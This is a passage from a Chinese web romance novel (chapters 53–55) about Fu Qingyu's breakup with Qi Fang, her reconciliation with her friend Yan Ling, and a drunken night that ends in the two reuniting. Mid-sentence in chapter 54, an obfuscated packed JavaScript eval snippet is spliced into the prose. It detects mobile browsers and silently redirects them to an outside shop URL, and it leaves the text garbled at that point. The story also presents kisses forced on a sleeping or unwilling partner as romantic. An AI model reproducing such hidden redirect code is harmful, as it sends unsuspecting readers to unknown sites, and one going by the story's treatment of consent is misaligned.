“祁放,你走吧,行吗?”付轻屿真要崩溃了,“能不能别管我,能不能都别管我,就像以前一样不行吗!你走吧,别在这里,别再逼我了。” “付轻屿,我不是……” “你非要逼死我吗?”付轻屿从他怀里挣脱出来,“我不要了,我什么都不要了,你走行吗,别再过来了。我想一个人,你们别再过来了。” 付轻屿用近乎乞求的眼神看他,心说:“别再过来了,你们别再往沼泽里踩了,我一个人在这痛苦过就好了,快走吧,快点,快点跑吧。” 祁放没敢动她,“我给你时间,分手不行。” 付轻屿目送他离开,轻轻的关门声后,四周彻底浸没在水中,一片寂静。 53. 53 这场大水终于淹没到顶了吗? 事情本不该这样啊。 付轻屿无力瘫坐下去,四周充斥着哭泣的声音,明明开着灯,却漆黑一片。她好久没大哭过了,头脑一半清醒一半麻木,甚至有些恍惚,感觉不是自己在哭。 不知道声音持续了多久,付轻屿逐渐安静下来,眼泪还在往外流淌。她心里清楚,这一切怨不得别人,答案在自己身上,这是自己与‘自己’的斗争。 她一直在逃避,逃避‘真实的自己’。 付轻屿有些迷茫,‘自己’什么时候不见的呢? 或许是小时候想吃西瓜,却被告知西瓜寒性大,香蕉营养价值更高,心里的西瓜变成了手里的香蕉。 是那个渴望展示情绪的她,却被告知要懂事、要听话。 还是那个心比天高,一次次被成绩按下,好不容易找到条出路,却被家里说不务正业、没出息。 再或许,是好不容易拼杀上社会,身披理想,怀揣一腔热血,以为终于要大展拳脚时,又被谋生二字困于牢笼,不得已再次戴上面具。 身上的衣服越穿越多,面具越戴越厚。当沉重到迈不开步子时,才发现‘自己’都穿成个球了,两手被厚重的衣服架起,动弹不得,想脱都脱不下来。 这时,有三两好友伸出援手,既害怕身上这么多层衣服被人发现,又害怕‘自己’被人发现,更害怕朋友在帮忙的过程中受累受伤。 穿成球的‘自己’只想找个小角落,像猫蹭痒,一点点蹭掉身上的衣服,先解放双手,再解放全部。 无声的哭泣再次洪亮,付轻屿坐在沙发痛哭,她原以为一个劲的往前跑,过去就都过去了。 付轻屿从没想过自己会和‘刘老师’一样,她明明那么讨厌‘刘老师’的不听不管不顾,讨厌‘刘老师’自以为是的对她好。她甚至发誓,自己绝对不要成为‘刘老师’那样的人。 可是,不得不承认,在面对感情时,‘刘老师’和‘付医生’就是她的第一任老师,影响最细微、最深远的老师,她就像个无意识习得的学生。 感情中,她总在逃避,有事无意的,又不知道自己在逃避什么。不管什么,现在都搞砸了,至少,已经没什么可失去的了。 付轻屿从沙发哭到地毯上,这是她‘猫蹭痒’的方式,她需要为过去的伤痛宣泄一场,而不是刨个窝埋来,掩耳盗铃,当做什么都不知道。 哭到最后,她看到了‘自己’。 那个不太勇敢、好像一直都没长大、总爱打退堂鼓的‘自己’抱了抱她,轻声安慰,“别再逃避了,勇敢一点吧,心会自由的。” 付轻屿心里念着,哭得昏天黑地,脑袋都哭空了,晃悠到床上,身子一蜷就睡过去了。 不知道睡了多久,脸上被股热乎劲拱着,付轻屿半梦半醒间摸了把,什么都没摸到,全当是在做梦。 没一会儿,那股热乎劲又回来了,付轻屿梦到自己养了条小狗,喜欢用湿漉漉的鼻尖拱她,还舔人。 小狗会嘬人吗? 随着触感越来越真实,付轻屿才反应过来不对劲,梦里的小狗没了,不知道什么东西在亲她。 付轻屿迷糊着睁开眼,看到祁放贴在面前的脸,先是一愣,随后昨晚的记忆开始浮现。 还没等她反应到两人已经分手时,祁放已经缠上她的舌头,蛮横地掠夺着氧气。 记忆被翻搅出来,付轻屿急忙推开他,喘息了两口新鲜空气,嘴上又被印了个章。 祁放的小习惯,吻完必须盖个章。 付轻屿急忙撑起身子后撤,错愕地看着他,开口却没发出声,才发现自己把嗓子哭哑了。 祁放两手揣兜,站起身来,鸽子蛋大的黑眼圈太过显眼,没表情的臭脸都被衬托出几分搞笑。 付轻屿也没好到哪去,两眼哭的又红又肿,双眼皮褶都被撑起来了。 一睁眼被前男友强吻,这是什么事啊? 两人没说话,眼神交错了几回,主要是付轻屿反复避开视线。 祁放绝对是故意的! 故意在她醒的时候亲,让她一点回避的借口都找不出来,亲完还敢黑着脸站这,纯属挑衅。 付轻屿快速扫了眼,还在自己家,还是自己的床,心里松了口气,有底气瞪他了。 祁放一脸讨债模样,语气像来刀人的,“看什么?过了一晚上,不认识了?” 付轻屿声音快哑没了,使劲问了句,“你怎么在这?” 祁放理不直气也壮,“想来就来了。” 付轻屿又瞪他一眼,“那你刚才又干什么了?” “亲你啊。”祁放一副平常语气,“你是嘴麻了,还是舌头麻了,没感觉到吗?” 付轻屿不敢相信自己的耳朵,这是正常人会说的话吗? 祁放整个人大变样,吵分手吵野了,像刚从南极爬回来一样,脸还没解冻,“看我干嘛?想说什么,分手了?” 说这句话时,他心也悬着,不太敢提昨天晚上的事,怕付轻屿再崩溃,再给他赶出去。 付轻屿嗓子不好发声,眼神示意他,“你还知道啊?” 见付轻屿情绪正常又开不了口,祁放可有说话的机会了,“没在一起时,你就亲我了。你说分手怎么了,说了分手,我就不能亲了?有本事,你把之前亲我那次还回来。还不回来,你也就受着。” 付轻屿目瞪口呆,翻哪门子旧账,这人是小学生吗?还是疯了? 祁放把两个裹好的冰包递给她,“眼睛冰敷,多喝点水,饭做好了,记得吃。我先走了,有事。” “去……”付轻屿下意识想问他什么事,反应过来两人的关系,又重新闭好嘴。 “不好意思,我只跟女朋友说什么事。”祁放走了两步,又转头看她,“你最好别换锁,费那个劲没用,我晚上回来。” 付轻屿看着关门而去的人,脑子差点没转过弯来。祁放说的什么话,什么叫别换锁?这是她家! 谁教他这么分手的?! 付轻屿一头栽床上,将冰包放到眼上,哭过一晚,心里好受多了,脑子还是有点乱。 眼睛上面顶两冰包,付轻屿心里摘不明白:“祁放这个死脑筋到底要干什么?受委屈了,不知道跑,放他走了,又跑回来闹。” 祁放屁事憋不住,一点就着,陈年老醋坛子成精,真不像会在心里憋事的人。 要不是这次吵架,付轻屿都不知道他心里有那么多委屈,也没意识到自身问题,一直感觉自己这恋爱谈得挺带劲了。 付轻屿叹气,这么一想,祁放刚才冷个脸,一副快气疯的模样,倒显得有些委屈。她想着祁放,不自觉笑了下,整天嬉皮笑脸的,没想到脾气还不小呢,就知道招人心疼。 想起那句‘出来卖的’,付轻屿又生气,做.爱让他这么难堪,还不快走!难道还真想把她掰成1i啊? 付轻屿气得拽了一个冰包,跟小孩闹脾气一样,挺不理智的。拽完,她自己都愣了下,想了想又捡回来了,冰敷重要。 祁放要是敢提4掰1这事,就让他尝点厉害,上边嘴不老实,下边嘴也别好过! 荒唐的想法冒出来,付轻屿拍拍自己额头,想什么乱七八糟的呢,祁放胡闹就算了,自己也没个正经了。 付轻屿拿掉冰包,叹一口气,照祁放这个劲头,找个时间认真聊一聊才是真的。 冰敷完眼睛,付轻屿看了看热搜,经过一天的暴风席卷,有关她的词条终于下去了。 真正的风暴才刚开始,等到决赛,等她每一次出现在大众视野,这些舆论都会卷土重来,像扯不掉的狗皮膏药。 付轻屿无力瘫在床上,心里来回念,“不能再逃避了,再勇敢一点,只要勇敢一点就好了,只要勇敢一点……先找颜泠道歉吧。” 话说,祁放那莫名其妙的勇气,能不能分她点啊? 这个疯子!疯狗!怎么会有人在分手后,跑到前任家里强吻人家?!付轻屿越想越感觉不可思议,一气之下把他烧的早饭全吃了。 祁放打了一个喷嚏,揉揉鼻头。一想二骂,谁想他了? 反正不可能是付轻屿! 心里刚吐槽完,祁放又连着打了两个喷嚏。 很好,绝对是付轻屿骂他了! 化妆师打趣:“这都夏天了,还感冒啊。” 祁放苦了句,“心里凉。” 化妆师笑:“怎么了,最近走忧郁路线?” 祁放转移话题,“再不快点,莫哥该催了,刚看他来门口转了。” 化妆师急忙干活,祁放也落得清闲,闭眼假寐。 祁放乱七八糟地想了一晚,基本没睡,付轻屿要分手的那些话,真是让他急火攻心,可想到她崩溃难受的样子,心里又忍不住泛疼。 付轻屿真喜欢他吗?现在还喜欢他吗? 祁放也搞不清了,但他给自己找个 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“认识的人吗?”陈律师开口问了句。 付轻屿缓过神来,轻声道:“前男友。” 陈律师不合时宜地玩笑:“骚扰类的案子,我们也可以处理。” “不用。” 陈律师笑笑,心领神会:“什么前男友?一看就是情侣间的小打小闹。” 付轻屿输密码的时候顿了下,选这几个数字,也是疯了。 陈律师看着付轻屿的背影,想问句,“要去追吗?” 付轻屿先开口道:“请进。” 关于名誉侵权的委托合同,两人已在线上沟通过,付轻屿过了遍合同,见没问题就签字了。反正是沈则序出钱,不用白不用。 将陈律师送走,付轻屿站在门口揉脑袋,不用想着找时间聊一下了,祁放恐怕再也不会来了。 付轻屿回到卧室,褪下来床上四件套,丢进洗衣机,将昨天的坏情绪一起洗掉。 “咚咚——” 敲门声很轻,不可能是祁放,付轻屿转头看到茶几上的笔,也就知道怎么回事了。 付轻屿打开门,一道黑影在眼前闪过,吓了她一跳。 祁放发了疯的满屋子乱窜,没找到那个男人,也没找到自己的东西。 付轻屿把他的东西都丢了。 祁放两眼猩红,视线在床上停了下,又看向正在工作的洗衣机,床上用品都洗了。 付轻屿没想到他杀回来,想说点什么,脑子又不听使唤。 祁放转头瞪着她,一字一句道:“我还没死呢。” 付轻屿蹙眉,又要开始了,他这话一出口,后面的也好听不到哪去。 祁放压了压火气,“我还没同意分手呢,你就带人回来?该做的都做了,玩的开心吗?看他长得还行,玩他应该玩爽了吧,怪不得急着赶我走,怎么,他是叫的更带劲,还是扭得……” “啪——” 祁放偏着头舔了下嘴角,苦笑说:“你为了他打我?” “不会说话,可以不用说。”付轻屿手疼,心里更疼,“你就这么想我的?你不愿意做这事,就非得……” 祁放不想听她说话,快一步上前压下去。 “呜……祁……”付轻屿使劲咬了口,嘴里渗进鲜血,抬手又给了一巴掌。 “一边一巴掌,匀称了。”祁放抿了下嘴角被咬破的地方,抬眼看她,“别瞪我,跟你学的。” 付轻屿一时哑声,心里骂了句王八蛋。 听着洗衣机滚动的声音,祁放越看付轻屿,心里越没自信,“你不喜欢我了,真要跟我分手是吗?” 付轻屿不知道最后这一巴掌有何奇效,祁放居然能听懂人话了。她沉默片刻,“算了吧,你委屈,我也难受,没必要了。” 祁放盯着她,“你不喜欢我了?” 这个问题一遍遍重复,直到付轻屿“嗯”了声,祁放的声音才停下。 洗衣机旋转的声音越发急躁,付轻屿被祁放盯得无处遁形。 “你说什么就是什么吧,锁换早了,我不会再来找你了。”祁放说完这句话就走了,很平静,没吵没闹,也没关门。 付轻屿听着电梯开关的声音,看着楼道的声控灯暗下,屋内的灯光透过那条门缝晒出去,好像是祁放给她留的台阶,指引她追出去。 54. 54 傻站了许久,付轻屿推开门,焦急地拍打电梯按键,冲进夏夜。她稀里糊涂地跑,又停下脚步杵在人群中,四周看不到祁放的身影。 追出来做什么呢?付轻屿顺着人群走,漫无目的。 身边人来人往,不知走了多久,付轻屿的衣服被扯了下,心也定住了。她没敢转身,心里隐隐期待,会是祁放吗?可以是颜泠吗? “姐姐,这个给你。” 一个青涩又坚韧的声音在付轻屿耳边响起,引得她转头。 不是颜泠,也不是祁放。 付轻屿看她身上的校服,是个高中生。 女生把纸巾塞到她手里,指了指眼睛,又从侧兜翻出个糖果塞给她,淡淡笑了下。 付轻屿手背在脸上擦了下,才意识到自己哭了,“谢谢。”她嗓子哑得厉害,这声谢用了力,却没发出多大声,感觉女生没听见,先被风吹散了。 女生没多说,左手拎起一麻袋瓶子往肩上甩去,右手拎起一打纸壳,转身走了。 女侠拎废品都能拎出宝剑的气势,将繁华街景衬得暗淡无光。 女侠的背影渐渐消失,付轻屿摸着小包纸巾,又道了声谢,转过身继续走自己的路。 想要吃饭,想要颜泠和祁放回来,还想干翻总决赛,像女侠一样潇洒离场,去他的青峰主持位!付轻屿揉捏着纸巾,擦了擦泪,太贪心了。 兜兜转转,付轻屿竟然走到了常去的芝士炒鸡店。 店面不大,暖木色门框有些掉漆,被贴了几张卡通贴纸。店内吊着一排暖光灯,老板收拾桌椅,三四个学生围在桌前说笑。 付轻屿推开门,老板脚步颠了颠,收拾着桌面,“不好意思,我们店备的食材用完了,准备打烊了。” 付轻屿瞧了眼墙上的挂钟,才刚过九点,“宋姨,生意兴隆呀。” 宋钊抬头,手里的抹布一甩,“是你啊,进门也不知道出个声。” 宋钊脚步一颠一颠,朝付轻屿走了两步,侧过头往人身后瞧,“跟泠儿来的,还是跟男朋友来的?” 付轻屿牵起嘴角,“没,我自己来的。” 宋钊抬眼看她,视线在泛红的眼眶停了下,又当做什么都没看到,笑着说:“自己来的正好,她们要是来了,还没饭招待呢。这个点来,你可就别挑了,我这还有啥,你就吃啥。” 付轻屿本想说不用麻烦,宋钊跛了条腿,走得可不慢,拉开厨房的小帘子,大着嗓门说:“六哥,你看看还能做点什么吃,轻屿来了。” 宋钊走进后厨,落下帘子,六哥声音也跟着落下了。 付轻屿确实饿了,也没再推脱,挑了个空位坐下等。 最后一桌学生说笑起身,猜测明天谁会被抽上台听写单词,热热闹闹走出小店。 “喝吧,宋姨请你。”宋钊递过大瓶AD钙奶,顺着付轻屿的视线看去,笑着说,“年轻啊,多好。” “谢谢宋姨。”付轻屿接过饮料,调侃一句,“这饮料喝完,能跟他们一样年轻吗?” 宋钊撤开凳子坐下,“你宋姨也就是个厨子,不是太上老君炼仙丹,能让你喝的返老还童。” 付轻屿喝口饮料,差点没呛出来。 宋钊五十出头,眼睛一点不花,随手扯过十字绣,打算磨磨嘴皮。 付轻屿摸了把口袋,动作一顿,“宋姨,我一会给你刷盘子吧,没带手机。” 宋钊苦练针法,笑着说:“出门太着急了吧,衣服穿得板正,脚踩两块黄色海绵就滑溜过来了。” 付轻屿低头看去,顺势捞了把头发,“时尚新趋势,你不懂,年轻人都这么穿。” 宋钊上下瞧她一眼,西装裙配两大眼黄拖鞋,“确实不懂。” 没有手机,付轻屿只能看着宋姨绣花,干等饭菜上桌。 付轻屿跟宋钊认识七八年了,缘分全靠饭,最开始在路边的塑料棚里吃,几经辗转才有了这个店面。 宋钊问:“跟男朋友吵架了?” 付轻屿摇头,“没。” 宋钊瞧她一眼,“因为什么啊?” 付轻屿:“没吵。” 宋钊继续听不见,“他出轨了?你出轨了?你工作太忙没时间陪他?难道要异地了?还是……” 付轻屿:“都不是,我自己的问题。” “还说没吵,你有什么问题?”宋钊一顿,急忙抓着她瞧,“怎么了?是不是生病了,什么时期了,医生怎么说啊?” 付轻屿急忙打断,“停停停,宋姨,你没事少看点电视剧。” “你别不跟姨说啊?什么时期了,是不是钱不够啊?不够你跟姨说,姨能帮你一把。”宋钊一个劲地问,后厨的六哥都出来问了嘴情况。 “没有,真没有。”付轻屿扭不过她,把这两天的事都说了。 “确实病了,心病。”宋钊拿起针,又说,“不是什么大事,能治。” 付轻屿感觉面前坐了个老神医,自己还是听忽悠那个,急忙问:“能治?” 宋钊轻描淡写,“小嘴一聊,小手一搭,完事。” “不是这回事……”付轻屿说一半卡壳,半晌才恢复,“我不想把她们卷进来,这又不是个好事,要是因为我……” “一直都是你你你,你不想。”宋钊打断她,“不要总为别人想了,她们有脑子。难道她们没脑子吗?多为自己想一点就好了。” 付轻屿眉头拧着,嘴唇颤抖着反驳:“但是……” 宋钊斩钉截铁道:“没有但是。” 付轻屿抽了两张纸,垫在眼上,“我就是、就是有些害怕。” 宋钊捶捶跛腿,“整天怕来怕去的,日子还过不过了?你那面对工作难题的斗志呢?” 付轻屿擦泪,“不一样,工作能理性处理,感情不能,还总失控。” “我害怕她们过来。”付轻屿看向宋钊,“我陷在烂泥里,过来个人就得沾一身。接受她们帮助真的好难,要看她们因自己变得狰狞、痛苦、泥泞,还要担心那些烂泥能不能洗掉,而痛苦……只要继续痛苦就好了。” “万一她们是泥鳅呢?” 付轻屿皱着眉,下意识笑了,“泥鳅吗?” 宋钊处事不惊的面容太有亲和力,又笑着说:“万一她们是莲藕呢?” 付轻屿又哭又笑,“还能是莲藕吗?” “你再往烂泥里捞一捞,说不定还能抓出两条鲶鱼来。”宋钊笑,“你觉得脚底下是一片烂泥啊?说不定一抬头,哎,原来只是地皮湿了块,连鞋底板都没陷进去。” 付轻屿抿着嘴,一下哭出了声。 六哥在后厨煮汤,只听外面‘啊’一声,以为哪家警报器拉响了。他急忙掀开帘子,看见是付轻屿哭的像个三岁孩子,宋钊就跟孩子她妈一样,不仅没安慰,还拿手机拍了两张照片,说是要给人留念。 六哥笑着摇头,落下帘子,继续煮饭。 见付轻屿哭痛快了,宋钊又给她舒心,“人和人的脑子不一样,别替她们想太多,没用。”她拍了下腿,“六哥当初死活要跟我在一起,我最初跟你一样,怕耽误人家。再看现在,我都开始嫌弃他了。” 六哥上菜正听到这话,玩笑道:“三十年河东三十年河西,一开始捧心坎上,现在听声都嫌我烦。” 付轻屿:“你俩快别打情骂俏了,这还有人呢。” 宋钊手上的活没停,笑着说:“快吃吧,吃完去找泠儿,去找你家那位。” 付轻屿拿起筷子,下定决心应了声“好”。 宋钊没留付轻屿刷盘子,又塞了二十打车费,说是等她下次补上。 按完电梯,付轻屿摸着空荡荡的口袋,庆幸上午换了密码锁,要不然,现在连家门都进不去。 电梯一开,付轻屿犹豫两秒,先探出头,见家门口空荡荡的,心里也有些空。 整天丢炸弹的人,现在真老实了。 付轻屿简单洗漱,看自己哭的像猪头,又开始翻箱倒柜的找帽子。 “咚咚——” 付轻屿瞬间静止,支起耳朵听着敲门声,很轻,有了下午的经历,她不敢随便断定是谁了。 “咚咚——” 付轻屿丢开帽子,蹑手蹑脚走到门口,开自己家门开出了做贼的感觉。 门溜开条缝,一瓶红酒怼到了她面前,随着酒瓶缓缓下移,出现了一张‘战损’脸。 颜泠妆都没卸,顶着张从事故现场爬起来的脸,杀青后直奔付轻屿家来了。 几秒钟前,付轻屿还在脑子中演练见面场景。她记得颜泠是明天才杀青,想着去剧组找人,完全没料到这个突发情况。 付轻屿头顶浮夸的草编帽,呆愣在门口,在面面相觑的情境下,尽力调动脑着细胞。 颜泠:“我说过不管你,可没说不找你喝酒。” 付轻屿伸手抱住颜泠,一张嘴,泪先流出来了,“对不起,我不是故意那么说的呜……呜啊……” 颜泠红酒没拿稳,差点砸到地上。付轻屿又哭又道歉的,二十多年了,这是头一回,着实把颜泠吓到了。“没事了,我都忘了,没事了哈。” 付轻屿:“你没忘,你刚才还说只喝酒。” 颜泠:“好了,现在忘了,现在真忘了。” “忘了她吧,兄弟。”杨灿拍拍祁放的肩膀,“我懂你,痛过就好了。” 祁放边抽泣边怼他,“你懂个屁啊你。” 陈昊飞无奈叹气,“喝红的,还是白的?” 祁放看了眼可乐和酸奶,实在懒得开怼。 杨灿抄起袋子,紧跟着说:“红橙黄绿青蓝紫,想喝啥色的,咱都有。” 祁放瞧了眼饮料,“你俩神经病啊。” 杨灿委屈谁都不能委屈自己的嘴,自己先拧了瓶喝,一口汽水入胃,瞬间化身感情专家,“行了,多大个事啊,不就失个恋吗?你看看飞哥,女朋友都不陪了,专门来看你,振作点兄弟!” 陈昊飞:“真分了?是不是女朋友跟你说气话呢?” “真分了。”有些事,祁放也没法跟他俩说,只给了句,“不是气话。” 陈昊飞:“分透了?” 杨灿也跟着附和:“还有机会复合吗?” “不知道。”祁放心都快凉透了,又想着,只要付轻屿来找他,不管是下午那个男的,还是别的,他都能翻篇。 让他走还来不及呢,付轻屿怎么可能来找他? 三人在公园喂了半天蚊子,在杨灿的强烈要求下,去唱歌了。 祁放没心情唱,杨灿和陈昊飞扯开嗓子嚎了三小时,主打个不白来。 失恋局也陪了,快散场时,祁放接到个电话,付轻屿打的。 三人看着来电显示,瞬间如临大敌。 祁放转身接的,没让他俩听。 “您好,是祁放先生吗?” 听到是个男人的声音,祁放瞬间炸了,强忍着火气“嗯”了声。 “我们这是半醒酒馆,是这样的,您女朋友喝醉了,麻烦您过来接应一下吧,或者是联系一下其他朋友过来,我们这边也快打烊了。” “地址说一下,我现在过去。”祁放着急往外走,完全没顾上杨灿和陈昊飞,等上了车,微信跟两人说了声。 祁放急急忙忙赶到酒馆,发现还有俩熟人。 李杨也刚到不久,颜泠跟付轻屿都喝趴下了。 “杨哥。”祁放先跟李杨打了声招呼,又看向两个酒鬼。颜泠有李杨照看着,用不上他这个弟弟。 付轻屿两手拖脸,撑在吧台上,完全迷糊了。 祁放唤了声,付轻屿都没反应。 李杨搀着颜泠,转头对祁放说:“走吧,我开车来的,一起回。” 祁放应了声好,看付轻屿醉得不醒事,干脆把人横抱起来。 付轻屿还算配合,没挣扎,只是不安分地动了两下。 祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966585|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放低头看着怀里的人,总感觉她眼周比之前还红,好像又哭过。他没忍住问了句,“还认得我不?” 付轻屿闭着眼,安静靠在他肩上,没说话。 祁放苦笑了下,要是付轻屿能认出来,就不会让他抱了。 付轻屿闻到熟悉的味道,鼻子不停往前凑,蹭了蹭那股热乎劲,迷迷糊糊地唤了句,“祁放。” 付轻屿这一声唤得轻,跟心里头还有他似得。 祁放心头发酸,嘴唇颤抖着不知道该不该应,反复咀嚼半晌,轻声吐出两个字,“是我。” 付轻屿没再应声,仿佛从始至终就没开口,祁放都怀疑是自己幻听了。 李杨话少,祁放一箩筐心事,嘴皮子也沉了,没什么闲话说。 车内安静得诡异,李杨随便点了歌单。 一首接一首听下来,祁放先听出点不对劲,这不是颜泠的歌单的吗? 他瞧了眼前座的俩人,这是在一起了? 车子拐弯时颠了下,祁放收回视线,看向靠在身侧的人。 付轻屿勉强撑起脑袋,垂眼愣神,突然抓住了一旁的手,举到面前,狠狠咬了口。 祁放差点喊出声,急忙抽回手。 这一抽,付轻屿更不乐意了,转过头逮到哪咬哪。 隔着衣服,祁放肩膀被咬出好几排牙印。咬够了,付轻屿一头栽下去,没了动作。 “属狗的。”祁放声音极小,害怕前两人听到,不好。 话音儿还没落,付轻屿又开始在他身上闻。 祁放靠着车门,躲都没地方躲。付轻屿也配合他,闻两下就不闻了,手开始在他身上乱摸。 酒品太差!祁放有些生气,付轻屿醉得不认人,怎么能随便逮个人就上手呢? 还专碰他腰侧,太过分了! 付轻屿凑到他脖颈,没了刚才咬人的气势,唇瓣轻轻撩拨他。 逮个不认识的人,就敢亲!祁放怒气上头,七窍都能喷出白烟,低声问了句,“知道我是谁吗?” 付轻屿醉得像个猫,软了下去,也多出几分黏人劲。她嘴上停下动作,又在人脖颈闻了闻,黏黏糊糊叫了两字,“祁放。” “艹!”祁放心里骂了句,感觉付轻屿就是想玩死他。他偏头亮出脖颈,一副视死如归的样子,心说,“亲吧,最好像刚才一样咬下去,咬到到大动脉,咬死正好。” 付轻屿没咬人,只是在他脖颈亲,一边亲一边叫人名字,三番五次想要越界到嘴上去,都被祁放拦开了。 前面还两人呢!祁放想控诉付轻屿,又感觉说了也没用,酒鬼能听懂就怪了。 有音乐打掩护,付轻屿念他名字的声音含糊,吮吸声也小,只在耳边绕,哪也传不出去。 祁放怒火中烧,一度下移,理智也快被付轻屿撩拨断了,居然真想在别人车上跟前女友接个吻。 好在李杨开得快,及时开进了小区。 祁放先下车透了口气,消消火,才把付轻屿抱下来,“杨哥,我姐先麻烦你了,我送她上去。” 李杨的视线在他脖颈扫过,点头应了声,没说别的。 祁放将人抱到门口,看到新换的密码锁就来气,“密码,家门的密码?” 付轻屿扫了眼家门,小声念叨,“祁放。” “嗯,我在呢,”祁放支着火,脸色比喝了酒还红,“该回家了,说密码。” 付轻屿继续喃喃:“祁放。” “是我。让你不要换锁,非得换,你以为换了锁,我就进不去了?”祁放说,“你再不说密码,我找人开锁了。” “祁放……” 祁放的脑子荡了下,撞出几圈回声,急忙对着按键拼了遍自己的名字。 门锁开了。 祁放心里咯噔一声,什么都不管了,低头吻了上去。付轻屿下意识回应着,她喝了酒,唇舌都格外烫人,能把人心头都烫热乎了。 “付轻屿,你真混蛋啊,说个屁的不喜欢!不喜欢了,你拿前男友名字做密码?你就这么怕忘了我啊。” 付轻屿还迷糊着,眼里蒙着层水雾,“祁放。” 祁放看着她,声音又不自觉地软了下来,“嗯,在呢。” “……祁放。” 祁放抱着她站在门口,反复输了几次密码,自己把自己哄美了,“你明天最好解释一下这个密码。” 祁放把人放在床上,看她手机上弹了两条消息。 都快凌晨一点了,还有人给她发消息? 祁放沉着脸捞起手机,看备注是陈律师,随手往上滑了两下。 滑着滑着,他好像知道下午看见的男人是谁了。 祁放拍拍脑袋,骂了自己一句,又看向付轻屿,“你什么时候洗床单被罩不行,非得刚送完客就洗,我什么脑子,你又不是不知道,我、我能不误会吗。” 祁放肠子都悔青了,心里怎么摘都摘不明白,转身给拿毛巾给她擦拭。 付轻屿被他来回摆弄,半醉半醒间睁开眼,抓住了面前的胳膊,将人拉到怀里,“祁放你跑哪去了,怎么不知道回家?怎么跑那么快……” “我腿长。”祁放眼眶一酸,紧紧环住她,“对不起,我混蛋,我错了。” 付轻屿:“你是泥鳅吗?” “啊?”祁放埋在她怀里,被这突然大转弯的问题问到了,“是泥鳅,你跟我好好的,我是王八都行。” 付轻屿闭上眼睛,声音逐渐吃回嘴里,“跑哪去了,为什么不回家?” “你把门锁换了,我怎么回家?为什么赶我走,为什么说不喜欢我,为什么我的东西全丢了?付轻屿,你真混蛋!想要我回家,得主动把我领回来,我不会再让着你了,知道吗?” 祁放趴在她身边请求,“这次真的不会让着你,主动把我领回来吧,我心里特别慌、特别害怕,好像真没信心了。付轻屿,求你了,我不会跑,我就站那,主动把我领回来吧……” 55. 55 付轻屿有气无力地揉着脑袋,试图将乱晃的记忆按下。 宿醉的感觉并不好受,不只脑袋,全身都像被门夹了,酸涨得难受。 起床气在酒精的催化下,愈演愈烈。付轻屿烦躁地睁开眼,面前堵了面墙,白花花一片,墙上还印了朵小梅花。 付轻屿呆愣两秒,猛地抬起头,看到是祁放的脸,先松了口气,心又开始荡秋千。 祁放怎么在这? 付轻屿费劲巴拉地想,只记得和颜泠把酒言欢,后面的事一键删除,完全断片了。 祁放头发凌乱,一半遮在额头,一半在枕头上乱飞,睡颜很乖。付轻屿的视线慢慢挪动,从长睫毛滑到嘴角,最后愣在他侧颈的一片吻痕上。 吻痕?一片吻痕!!! 付轻屿陷入了前所未有的沉思,不会是她弄得吧? 不管是谁弄得,她现在只想把祁放打失忆,丢沙发上去。 付轻屿目光稍微一晃,祁放肩膀上的几个牙印更撩火。她往下瞄了眼,发现自己没换衣服,祁放……没穿。 祁放说过再也不来找她了,这又是什么情况? 那几个牙印太惹眼,付轻屿嘴巴凑过去,想验证一下自己的猜想。 “还没咬够?” 祁放沙哑的声音一出,付轻屿干脆一个转弯坐起身,装作什么都没发生过。 祁放翻弄两下,也没再说话,穿着屁大点的布料起床,故意在房间晃了圈,重新回到床边,一把将床底的箱子拽了出来。 付轻屿的心口跟着狠狠缩了把。 祁放不紧不慢地打开箱子,把自己的东西一件一件摆出来。 翻到睡衣时,付轻屿看出点端倪,她放衣服时都叠好了,祁放拿出的袋子明显被打开过,衣服乱成一团。 这狗东西是故意的! 他明明早就找到了,明明可以趁她睡觉时摆出来,他偏不! 他就要当着她面一件一件往外拿,像在挑衅说:“藏什么藏?以为我找不到吗?有本事接着藏啊。” 付轻屿又气又开心,藏得东西被祁放狗刨出来了,他还没走。 祁放翻出睡衣,只套了条裤子,就不穿上衣,露着肩膀和侧颈的标记给她看,唯恐撩不起火来。 “什么都想不起来了?” 付轻屿不情不愿的“嗯”了下。 祁放狗叫一声:“嗷~那慢慢想吧。” 付轻屿:“……?” 付轻屿看他走进卫生间洗漱,又开门出了卧室,八成是去做饭了。 祁放的状态比昨天好点,也没好到哪去,脸上还写着标准的三个大字‘生气中’。 付轻屿本来就头疼,现在整个人都快炸了,断片后到底干什么了,还把人啃成那样? 面对祁放,要比面对颜泠困难得多,付轻屿甚至感觉比面对总决赛都艰难。 她害怕拉扯到最后,祁放接受不了又不肯放手,重走上段感情的老路。 付轻屿搓了搓脑袋,再自私一点就好了,管祁放接不接受,直接给他干服了,说别的不好使。 可是,她又看不得祁放受委屈的样儿。问题摆在这,横竖都是给自己找不痛快。 付轻屿身处梦魇,意识已经醒了,也知道该把话说开,可身体就是不受控制,想喊又发不出声音。那些恐惧不安像鬼压床,死死压在她身上。 付轻屿烦躁地躺了会,起床洗漱,往厨房偷瞄一眼,坐在餐桌前处理工作的事。 祁放要不来,她也就随便对付一口,不是不会做饭,主要是懒,一个人更懒得折腾。 相反,祁放最不怕的就是折腾,早饭都能折腾出花来。 祁放先榨了杯葡萄汁端上来,“喝吧。” 付轻屿还没来及接话,祁放已经转进厨房,拖鞋底下按的风火轮,装起来了。 果汁喝到一半,祁放端上两碗热粉,“吃吧。” 热粉卖相极好,付轻屿能给它打满分,只不过她家没有蔬菜和豆腐,也没有葡萄。 两人起床时,都快十一点了,付轻屿合理怀疑祁放上午出了趟门,回来后又给自己扒干净上的床。 祁放看她不动筷,又问:“不想吃?喝粥吗?” “没。”付轻屿拿起筷子,开始吃饭。 祁放罕见地住了嘴,没再说话。 桌上安静得诡异,只有两人吃饭发出的细小声音。 付轻屿看出来了,祁放吃了哑巴药,铁了心地等她先开口。 饭吃不下去,话吐不出来,付轻屿思念半天,鼓起勇气问了句:“你没什么想说的吗?” 祁放把话原封不动还她,“你没什么想说的吗?” 两人对视。 对视。 